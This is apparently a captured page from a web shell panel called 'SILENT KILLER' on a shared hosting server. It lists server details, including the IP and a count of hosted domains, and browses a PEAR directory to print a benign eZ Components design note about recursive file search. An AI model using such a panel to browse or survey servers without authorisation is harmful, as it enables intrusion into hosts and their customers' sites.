SILENT KILLERPanel

Current Path: > > opt > > cloudlinux > alt-php54 > root > usr > share > pear > data > File > design


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt//cloudlinux/alt-php54/root/usr/share/pear/data/File/design

NameTypeSizeLast ModifiedActions
class_diagram.png File 478 bytes December 18 2019 11:17:09.
design.txt File 1742 bytes December 18 2019 11:17:09.
file.xml File 94098 bytes December 18 2019 11:17:09.
file_operations.png File 4674 bytes December 18 2019 11:17:09.
md5.png File 12490 bytes December 18 2019 11:17:09.
requirements.txt File 800 bytes December 18 2019 11:17:09.

Reading File: //opt//cloudlinux/alt-php54/root/usr/share/pear/data/File/design/design.txt

eZ component: File, Design
~~~~~~~~~~~~~~~~~~~~~~~~~~
:Author:   Derick Rethans
:Revision: $Revision: 7003 $
:Date:     $Date: 2007-12-17 10:05:16 +0100 (Mon, 17 Dec 2007) $

Design Description
==================
The component uses the register_shutdown_function() and set_execution_handler()
to allow the catching of fatal errors and uncatched exceptions. At the start of
the script you need to initialize the execution environment and when your
application is done executing you signal the component that you have a "clean
exit".  In case there was not a clean exit the shutdown handler will pick up
and call your defined callback handler to display the error message.

There is one classes in this component:

ezcFile
-------
Contains a static method that allows you to scan through a directory
recursively and include only the files that match the specified pattern. A
pattern consists of an array of regular expressions which all need to match
with the filename before it is returned in the array of scanned files.

Algorithms
==========

The ezcFile::findRecursive() method accepts a directory name and a set of
filters. The algorithm is recursive in the following way: ::


    method findRecursive ( directory, filters )

    foreach file in directory:
        if file is a directory:
            files_in_subdir = findRecursive( file, filters )
            files += files_in_subdir
        else:
            include = true
            foreach filters as filter:
                if !match filter on file:
                    include = false
                    break
            if include:
                files += file
    
    return files


..
   Local Variables:
   mode: rst
   fill-column: 79
   End:
   vim: et syn=rst tw=79

SILENT KILLER Tool